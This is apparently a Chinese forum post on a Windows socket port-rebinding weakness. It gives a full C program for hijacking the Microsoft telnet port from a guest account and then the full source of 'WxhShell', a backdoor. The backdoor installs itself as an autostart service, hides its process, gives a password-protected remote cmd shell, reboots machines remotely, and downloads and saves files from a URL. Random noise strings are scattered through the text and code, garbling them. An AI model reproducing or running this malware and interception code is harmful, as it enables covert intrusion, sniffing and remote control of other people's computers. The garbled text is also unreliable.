-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2e @zd\ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L?(%
* smt6).o saddr.sin_family = AF_INET; Uv"GG:
K_ xr\wOQ*` saddr.sin_addr.s_addr = htonl(INADDR_ANY); (" +/ : CF k^(V" bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #Zy-X_r hf1f 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c(<,qWH `X7ns? 这意味着什么?意味着可以进行如下的攻击: >@o}l:* C^x+'. ^N 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [ZP8[Zl'? n/3gx4.g 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ceu}Lp^%/
iEf6oM 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d#9"_{P ?"no~(EB 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 S6sw) LF~=,S 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Bjz\L0d 7gV"pa 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U&mJ_f#M b:}`O!UBw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Eqg(U0k0 Q\~4J1 #include MKdBqnM(F #include AVR9G^ce_ #include ZL`G<Mo;. #include <~}t;ji DWORD WINAPI ClientThread(LPVOID lpParam); o2 5kFD int main() }Vpr7_ { ogX'3L WORD wVersionRequested; _|ucC$* DWORD ret; jG0{>P#+ WSADATA wsaData; .Jz$)R BOOL val; 8E /]k\ SOCKADDR_IN saddr; zJ#e3o . SOCKADDR_IN scaddr; HB$*xS1 int err; ^ZFbp@#U SOCKET s; ^b`}g SOCKET sc; Lrr^obc int caddsize; qB_MDA HANDLE mt; |
%af}#
FQ DWORD tid; 3R?7&oXvH wVersionRequested = MAKEWORD( 2, 2 ); P sD+? err = WSAStartup( wVersionRequested, &wsaData ); ML0o:8Bd\ if ( err != 0 ) { <}%>a@ printf("error!WSAStartup failed!\n"); | zj$p~ return -1; \qAMs^1- } 2|o6~m<pE saddr.sin_family = AF_INET; }Xs=x6Mj +|Q8P?YD_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 JW&/l 9c806>]U^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TeQWrms saddr.sin_port = htons(23); uj&^W[s if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I?"cEp { (]>c8;o#b printf("error!socket failed!\n"); 'oHtg
@ return -1; 6@!<'l%z } s_K:h val = TRUE; !$St=! //SO_REUSEADDR选项就是可以实现端口重绑定的 p[&'*"o!/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B{QY-F~ { HPpKti7g printf("error!setsockopt failed!\n"); ?D\6CsNp(2 return -1; c3!d4mC: } aD3'gc,l //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~tDV{ml //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?`,UW; Br6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *gu~7&yoP T\b
e(@r if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BG~h9.c { O} QTg ret=GetLastError(); '(kGc% printf("error!bind failed!\n"); .5|wy< return -1; (2QFwBW] } <"AP&J'H listen(s,2); <;+&`R while(1) #=5/D@ { MaXgy|yB1 caddsize = sizeof(scaddr); Yc /rjEn7O //接受连接请求 )fpZrpLXE sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D+N{'d?+ if(sc!=INVALID_SOCKET) yu<sd}@ { jUZ84Gm{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F%lP<4Vx if(mt==NULL) 3F[z]B { 5sEq`P}5 printf("Thread Creat Failed!\n"); $=TFTSO break; +I5@Gys } YT}m
8Y } >"{3lDyq- CloseHandle(mt); `3SY~&X } B~V^?." closesocket(s); :o&qJ% WSACleanup(); bwqla43gX return 0; TV#pUQ3K } 5<GC DWORD WINAPI ClientThread(LPVOID lpParam) M8ZpNa { tVvRT*>Wb SOCKET ss = (SOCKET)lpParam; TPt<(-}W SOCKET sc; BEx?
bf@|] unsigned char buf[4096]; D1;H, SOCKADDR_IN saddr; /d&zE|! long num; fDNiU" DWORD val; D4ESo)15' DWORD ret; 7;)
T;X //如果是隐藏端口应用的话,可以在此处加一些判断 6UG7lH!M //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 cclx$)X1X saddr.sin_family = AF_INET; (q59cA w~X saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2)Grl;T]s saddr.sin_port = htons(23); Q.>@w<[!L if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Pb]: i+c) { Ya<S/9c printf("error!socket failed!\n"); JQj?+PI return -1; U}~SY } SS[jk val = 100; `|Pfa if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [`BMi-WQ { {~_X-g5|] ret = GetLastError(); zt/b S/ return -1; 1N{}G$'Go } }A\s`Hm if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !}<d6&!py { 0?8O9i ret = GetLastError(); zc01\M return -1; ON.C%-T- } C#d.3t if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HT0VdvLw { 5ltEnvN printf("error!socket connect failed!\n"); Anr''J&9`H closesocket(sc); cVYDO*N2T closesocket(ss); Mrysy)x return -1; I(tMw6C$: } -c|dTZ8D)8 while(1) 2fFZ70Yh { \{``r //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )c!7V)z //如果是嗅探内容的话,可以再此处进行内容分析和记录 %Hx8%G! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a9]F.Jm num = recv(ss,buf,4096,0); > Dy<@e if(num>0) qWX%[i% send(sc,buf,num,0); ;,2i1m0" else if(num==0) +a1Or break; 2[!#Xf num = recv(sc,buf,4096,0); tljZE) if(num>0) VBnD:w"z send(ss,buf,num,0); W%&t[_21 else if(num==0) }p,#rOX:A break; 7[z^0?Pygf } cjK\(b3 closesocket(ss); k{\wjaf) closesocket(sc); RP[^1 return 0 ; WV5z~[ } [bM$n
m (5CdA1| }_Y&kaM ========================================================== ]JDKoA{S0 )(b,v/: 下边附上一个代码,,WXhSHELL QFekj@ oKyl2jg+, ========================================================== cdd6*+E qZQB"Q.* #include "stdafx.h" 'O>p@BEK P+ejyl, #include <stdio.h> Ln-UN$2~F #include <string.h> 7`xeuK #include <windows.h> `r#]dT[g #include <winsock2.h> &<nj~BL #include <winsvc.h> om_UQgC@r #include <urlmon.h> 5>r2&72= vciO={M #pragma comment (lib, "Ws2_32.lib") Z$*m=]2 #pragma comment (lib, "urlmon.lib") .)(5F45Wg GN1Q\8)o #define MAX_USER 100 // 最大客户端连接数 =;L44.,g #define BUF_SOCK 200 // sock buffer jJ.isr|` #define KEY_BUFF 255 // 输入 buffer kB#;s hl}iw_e #define REBOOT 0 // 重启 }BYs.$7 #define SHUTDOWN 1 // 关机 ZuLW%z. shkyN #define DEF_PORT 5000 // 监听端口 yC&u^{~BC a~*wZJ #define REG_LEN 16 // 注册表键长度 D( \c?X" #define SVC_LEN 80 // NT服务名长度 .n\j<Kq m=[3"X3W1V // 从dll定义API bU4l|i;j typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $G<!+^T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;9MIapfUd( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D[p_uDIz typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5M v<8P~ "?AJ(>wP // wxhshell配置信息 R4_BP5+ struct WSCFG { QnJd}(yN int ws_port; // 监听端口 =w;~1i%.k char ws_passstr[REG_LEN]; // 口令 :pJKZ2B, int ws_autoins; // 安装标记, 1=yes 0=no H |%'$oWp char ws_regname[REG_LEN]; // 注册表键名 mXwDB)O{) char ws_svcname[REG_LEN]; // 服务名 2}uSrA7n] char ws_svcdisp[SVC_LEN]; // 服务显示名 )+ (GE char ws_svcdesc[SVC_LEN]; // 服务描述信息 he!Uq%e char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )NLjv=ql int ws_downexe; // 下载执行标记, 1=yes 0=no ?B32,AS@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" *";O_ :C! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IkP; i_| Ghf/IXq# }; 9dCf@5] b"JX6efnN // default Wxhshell configuration &gdhq~4# struct WSCFG wscfg={DEF_PORT, fB=j51Lw "xuhuanlingzhe", &{e:6t 1, Ba}<X;B } "Wxhshell", D KRF#*[=d "Wxhshell", /l` "@ "WxhShell Service", Pi5($cn "Wrsky Windows CmdShell Service", *@eZt*_ "Please Input Your Password: ", Ake$M^Bz 1, \R[f< K% " http://www.wrsky.com/wxhshell.exe", Z,I0<ecaD "Wxhshell.exe"
#_kV o3 }; rVM?[_'O @/8O@^ // 消息定义模块 |wM<n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >@0U B@ char *msg_ws_prompt="\n\r? for help\n\r#>"; :Aa5,{v_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; R4%}IT^%P char *msg_ws_ext="\n\rExit."; 63SmQsv char *msg_ws_end="\n\rQuit."; MZvxcr{x char *msg_ws_boot="\n\rReboot..."; q0*d*j F0u char *msg_ws_poff="\n\rShutdown..."; wCt!.<, . char *msg_ws_down="\n\rSave to "; |xFSGrC D+xPd< char *msg_ws_err="\n\rErr!"; tHmV4 H$ char *msg_ws_ok="\n\rOK!"; Ay|K>8z \:jJ{bl^A char ExeFile[MAX_PATH]; $T7(AohR int nUser = 0; E`b<^l` HANDLE handles[MAX_USER]; i#I7ncX int OsIsNt; ~j yl *6wt+twH SERVICE_STATUS serviceStatus; \# _w=gs<i SERVICE_STATUS_HANDLE hServiceStatusHandle; )Ec /5=A ,&LGAa // 函数声明 RA*W Ys&xb int Install(void); ~\UAxB= int Uninstall(void); 15_Px9 int DownloadFile(char *sURL, SOCKET wsh); j/, I)Za int Boot(int flag); fjLS_Q
;h void HideProc(void); J3y4D} int GetOsVer(void); qa,i:T(w int Wxhshell(SOCKET wsl); [! YSW' void TalkWithClient(void *cs); ^]TYS]C int CmdShell(SOCKET sock); f,VJfY?# int StartFromService(void); ]5+<Rqdbg int StartWxhshell(LPSTR lpCmdLine); h@+(VQ S8Yti VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]O0:0Z\ VOID WINAPI NTServiceHandler( DWORD fdwControl ); /JQY_>@W /{!?e<N>
// 数据结构和表定义 yZY.B
{ SERVICE_TABLE_ENTRY DispatchTable[] = lj 2OOU{ { '5}@#Mi {wscfg.ws_svcname, NTServiceMain}, _$m1?DZ {NULL, NULL} `J-&Y2_/k }; c52S2f7 ;`
!j~ // 自我安装 `:kI@TPI_C int Install(void) J'@`+veE { `Zd\d:Wyv char svExeFile[MAX_PATH]; ?U(`x6\: HKEY key; 5?-@}PL!Y strcpy(svExeFile,ExeFile); aUbmEHFTV *d&+?! // 如果是win9x系统,修改注册表设为自启动 66|$X, if(!OsIsNt) { |`Iispn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ab^>_xD< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~
}?*v} RegCloseKey(key); %)sG 34 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -HUlB|Q8r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A3Oe=rB RegCloseKey(key); 0%"sOth return 0; eY8rm } tl^![Z } 1Y{pf]5Wx } Q$8K-5U% else { OpFm:j3 PEPf=sm // 如果是NT以上系统,安装为系统服务 O^KIB%}fu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); evGUl~</~ if (schSCManager!=0) )GR4U8<>g { >WmTM0 SC_HANDLE schService = CreateService MhZ\]CAs9 ( 4Bk9d\z schSCManager, WFG`-8_e[I wscfg.ws_svcname, lC'U3Q& wscfg.ws_svcdisp, _7b' i6- SERVICE_ALL_ACCESS, y8$I= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sU0W)c; SERVICE_AUTO_START, GDY=^r SERVICE_ERROR_NORMAL, XxLauJP
K svExeFile, Zk>#T:{h NULL, 5LzP0F
U NULL, :EV*8{:aLU NULL, z~Is
E8 NULL, =pd#U NULL _ls i,kg? ); P~M<OUg if (schService!=0) v`Yj) { 3NSX(gC% CloseServiceHandle(schService); >*Ctp +X@ CloseServiceHandle(schSCManager); &9F(C R strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ].HHTCD`c strcat(svExeFile,wscfg.ws_svcname); 4KB>O)YNg' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
IIO-Jr RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^0HgE;4 RegCloseKey(key); ,*CPG$L return 0; x*!%o(G } X ;Cl8 } GS+Z(,J>= CloseServiceHandle(schSCManager); 85qD~o?O } SGP)A(,k9 } Wgb L9'}B 9w dl1QS return 1; ;VS$xnZ } hw2Sb,bY #AF.1;(k // 自我卸载 yR1v3D4E int Uninstall(void) ]h%~'8g, { _B7+n"t\r HKEY key; w7Ij=!) zI"1.^Trn if(!OsIsNt) { I R~szUY6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _~bG[lX ! RegDeleteValue(key,wscfg.ws_regname); ZKt`>KZ RegCloseKey(key); vP'#x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -+y3~^EYm, RegDeleteValue(key,wscfg.ws_regname); _K3;$2d|R RegCloseKey(key); th%T(D5n return 0; 6cXZ3;a } DLPg0>;jl } 6[Wv g } -{ES 36 else { T
3<2ds eFC~&L; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \. YJs"<3 if (schSCManager!=0) <&l@ ):a { z@[-+Q: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `JcWH_[ if (schService!=0) LoW}!,| { UBw*}p if(DeleteService(schService)!=0) { ak\[+wQ CloseServiceHandle(schService); RG:_:%@%} CloseServiceHandle(schSCManager); HL%|DCo return 0; lX64IvG8+o } !+(H(,gI CloseServiceHandle(schService); Dlg9PyQ } %ZX3:2 CloseServiceHandle(schSCManager); !:Ob3Mq\ } Z@0IvI } :kvQ3E0 |%@pjJ`3 return 1; |#zj~>7? } bzh: 4wPP/` // 从指定url下载文件 cToT_Mk int DownloadFile(char *sURL, SOCKET wsh) |eqp3@Y1E { ZQAiuea HRESULT hr; L,sFwOWY char seps[]= "/"; mXI'=Vo!S char *token; d
9]zB-A char *file; g/gaPc*86 char myURL[MAX_PATH]; p21li}Iu char myFILE[MAX_PATH]; B? 9"Ztb PV-B<Y strcpy(myURL,sURL); ))I[@D1b token=strtok(myURL,seps); gw<udhk
while(token!=NULL) %II o { ucFfxar" file=token; |}Z2YDwO/ token=strtok(NULL,seps); zGa
V^X } Y?:"nhN j-wKm_M#jX GetCurrentDirectory(MAX_PATH,myFILE); *mn"GK6 strcat(myFILE, "\\"); P?Kg7m W strcat(myFILE, file); gdS@NUM send(wsh,myFILE,strlen(myFILE),0); |d=GAW
v send(wsh,"...",3,0); av~kF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <(l`zLf4p if(hr==S_OK) G4uA&"OE return 0; !J[! i"e else 5Q,j+ return 1; r ?z}TtDp 4c<\_\\ck } DS ;.)P" XoGOY|2`6 // 系统电源模块 `o21f{1]X& int Boot(int flag) +@~e9ZG%a { izR#XeBm HANDLE hToken; [Xww`OUsh TOKEN_PRIVILEGES tkp; (V0KmNCW` K;]Dh? if(OsIsNt) { r`e6B!p OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )NO,G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ON"p^o>/_? tkp.PrivilegeCount = 1; kNX8y-- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _ o== AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S 9;FD 3 if(flag==REBOOT) { |Rz}bsrZ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) : :928y return 0; iYGa4@/uM } MHS|gR.c else { g\ H~Y@'{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =)J)xH!N return 0; 8L[\(~Zf } HBA|NV3. } Gn;^]8d else { B/B`=%~5_^ if(flag==REBOOT) { fONycXM] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a!.Y@o5Ku return 0; }S{VR(i`J } &UAYYH else { _5o5/@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (]-RL
A> return 0; :wfN+g= } WfQZ7e } Fe2t[y:8h =FQH5iSd return 1; :\^jIKvZ } k<RaC= #;h>
x // win9x进程隐藏模块 VRg
y void HideProc(void) oAvLSFn { c=re( )U{\c2b HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $5DlCN if ( hKernel != NULL ) I")mg~f { g|j15&x pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6UU<:KH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W)L*zVj~ FreeLibrary(hKernel); 8&CQx* } ~DS.b-E :g{ybTSEe return; <Vh}d/ } W9S6
SO^\ Yi <1z:\ // 获取操作系统版本 Ged} qXn int GetOsVer(void) EIF { /Eu|Jg=I OSVERSIONINFO winfo; 9}+X#ma.Nc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :.(A, GetVersionEx(&winfo); i"mQ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T&j:gg return 1; 7v}(R:* else z}Um$'. = return 0; BN6cu9a } "d2JNFIHb 83VFBY2q // 客户端句柄模块 Cv;#8Wj} int Wxhshell(SOCKET wsl) {:=]J4] { SeLFubs_ SOCKET wsh; D-e?;< struct sockaddr_in client; U#{(*)qr DWORD myID; ?U
=Mdw }|wC7*^) while(nUser<MAX_USER) H#G3CD2& { a3,A_M}M' int nSize=sizeof(client); I A$= wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [kMWsiZ if(wsh==INVALID_SOCKET) return 1; )_}xK={ )5u#'5I> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0n\AUgVPF if(handles[nUser]==0) .vd*~U" closesocket(wsh); 0qm CIcg else =h.`
ey nUser++; ):fu]s" } G/_xn5XDD WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m= %KaRI ;D@ F return 0; Q]OR0-6<. } |hX\ep I:1Pz|$` // 关闭 socket X.ZG-TC void CloseIt(SOCKET wsh) "G Jhx/zt { -h=wLYl@0i closesocket(wsh); Ox@$ } nUser--; z>b^Ui0 ExitThread(0); |nU%H=Rs/ } 09i77 O2xqNQ`d // 客户端请求句柄 IR32O,) void TalkWithClient(void *cs) "]q0|ZdOwH { 0^6}s1d_ TCi0]Y~a SOCKET wsh=(SOCKET)cs; %&J`mq char pwd[SVC_LEN]; E!`/XB/nA char cmd[KEY_BUFF]; +~7[T/v+n char chr[1]; h;mOfF int i,j; TQOJN h7S;
4] while (nUser < MAX_USER) { 3wQ\L=
e}s,WC2- if(wscfg.ws_passstr) { 4C3i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3f:]*U+O //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h]4qJ //ZeroMemory(pwd,KEY_BUFF); .~a8\6t i=0; $4kbOqn4 while(i<SVC_LEN) { \*pS4vy5x 4$4Tx9C // 设置超时 )i:"cyoE fd_set FdRead; }S%}%1pG7 struct timeval TimeOut; |aj]]l[@S FD_ZERO(&FdRead); COD^osM@ FD_SET(wsh,&FdRead); 1yeD-M"w TimeOut.tv_sec=8; ~8'HX*B]z TimeOut.tv_usec=0; ^}kYJvqA int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QwuSo{G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q[lkhx|.B J+`gr_& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NkQain9 pwd =chr[0]; >f;oY9 {m if(chr[0]==0xd || chr[0]==0xa) { |r4&@) pwd=0; S-brV\v7 break; @Q:?, } syb$% i++; 5!6}g<z&L } UYpln[S GF0Utp:Zf; // 如果是非法用户,关闭 socket wD@ wOC
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ge24Lp;Y6 } "eI">`!g @VsK7Eo send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P[e#j send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v^ 1x} -Q1~lN m: while(1) { Kn\$\?u H$&P=\8n ZeroMemory(cmd,KEY_BUFF); w aDJ ;bq
EfV0`2 // 自动支持客户端 telnet标准 ~$bQ;`,L j=0; [U{RDX while(j<KEY_BUFF) { =[Tf9uQY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eh3CVgH91; cmd[j]=chr[0]; w_q=mKu if(chr[0]==0xa || chr[0]==0xd) { KpO%)M!/Z# cmd[j]=0; r\|"j8 break; BFn}~\wzK } jLBwPI_g j++; -} +PE 4fh } PmDar<m y(Q.uYz* // 下载文件 ~I%JVX% if(strstr(cmd,"http://")) { }$s._)a send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8SMa5a{ if(DownloadFile(cmd,wsh)) 7JP.c@s send(wsh,msg_ws_err,strlen(msg_ws_err),0); x0L,$Ol else R=HcSRTkA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;[-y>qU0 } $EuI2.o else { )W![TIp [0n&?<< switch(cmd[0]) { C6,W7M[c f@IL2DL}\ // 帮助 cU r'mb case '?': { 9{{CNy
p send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vlZ?qIDe break; %:.00F([r } ?I#zcD)w // 安装 ZlYb8+rW case 'i': { CEb .?B if(Install()) 1He'\/# send(wsh,msg_ws_err,strlen(msg_ws_err),0); N/mC,7Q else w1|YR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _{'HY+M break; YQ<O.E } M7n|Z{?( // 卸载 Nv_"?er+y case 'r': { c-^\YSDMN if(Uninstall()) B1a&'WX? send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Xl,~-. else F>A&L8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [.`#N1-@M break; ]i@VIvYq } bi[gyl# // 显示 wxhshell 所在路径 9:l>FoXS case 'p': { c)fTI,.$ char svExeFile[MAX_PATH]; w">p
8 strcpy(svExeFile,"\n\r"); efF>kcIC strcat(svExeFile,ExeFile); CEos` send(wsh,svExeFile,strlen(svExeFile),0); "J%/xj break; j*jO809%^ } u9"1% // 重启 O)!MWmr case 'b': { &Q"Ox{~W send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cC6W1K! if(Boot(REBOOT)) P:yMj&) send(wsh,msg_ws_err,strlen(msg_ws_err),0); niV= Ijt{5 else { 0UvN ws closesocket(wsh); /a$RJ6t&3 ExitThread(0); G6(U\VFqO } [/ E_v gZ break; tA2I_WCl } +[
944n // 关机 Td5;bg6Qy case 'd': { ,#42ebGHR send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @iwg`j6ol if(Boot(SHUTDOWN)) :8bz+3p send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'i|z>si[* else { AtN=G"c>_ closesocket(wsh); `AA[k ExitThread(0); tF<|Eja* } #eT{?_wM break; 'o2x7~C@ } ~',<7eW // 获取shell Fss7xP' case 's': { 37@_" CmdShell(wsh); .h2K$(/ closesocket(wsh); }Zwse%; ExitThread(0); NGlX%j4j break; J:,>/')n } *1}'ZEaJ // 退出 Kd _tjWS case 'x': { zR_#c3o send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uJ4RjLM` CloseIt(wsh); E3\O?+h# break; hgCeU+ H } =3J&UQL // 离开 88
*K case 'q': { \5$N>
2kO send(wsh,msg_ws_end,strlen(msg_ws_end),0); fo$iV;x` closesocket(wsh); /YWoDHL WSACleanup(); dwKre#4F exit(1); ee]PFW28 break; 2yhtJ9/ }
] }XK } 8W 9%NW3& } W
:PGj0? mfO:#]K // 提示信息 s%Q
pb{ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C26PQGo#$ } MEbx{XC } (u-i{< SeBbI&Ju return; BYN<|= } IBY3QG %b2.JGBqJ // shell模块句柄 '2a }1? int CmdShell(SOCKET sock) FS r`Y { [1'`KJ] STARTUPINFO si; |<\LB ZeroMemory(&si,sizeof(si)); G6xdGUM si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |C@)#.nm[ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !mrB+<: PROCESS_INFORMATION ProcessInfo; 6TxZ^&= char cmdline[]="cmd"; -<a~kVv CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vbmSbZ"y return 0; )'xTDi } b#R3=TQS8 _/ZIDIn // 自身启动模式 Nhn5 iN1* int StartFromService(void) H1f){L97wR { X%xX3e' typedef struct D Y($ { UXoaUW L DWORD ExitStatus; `f}c 1 DWORD PebBaseAddress; EkM? Rs DWORD AffinityMask; ErJi
DWORD BasePriority; &h-d\gMJ ULONG UniqueProcessId; Q <EFd ULONG InheritedFromUniqueProcessId; M~;mamTP } PROCESS_BASIC_INFORMATION; QP)-O*+AA qr$=oCqa PROCNTQSIP NtQueryInformationProcess; zuWj@YG\. ;_M .(8L static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R~CQ=KQ. static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vL{~?vq6
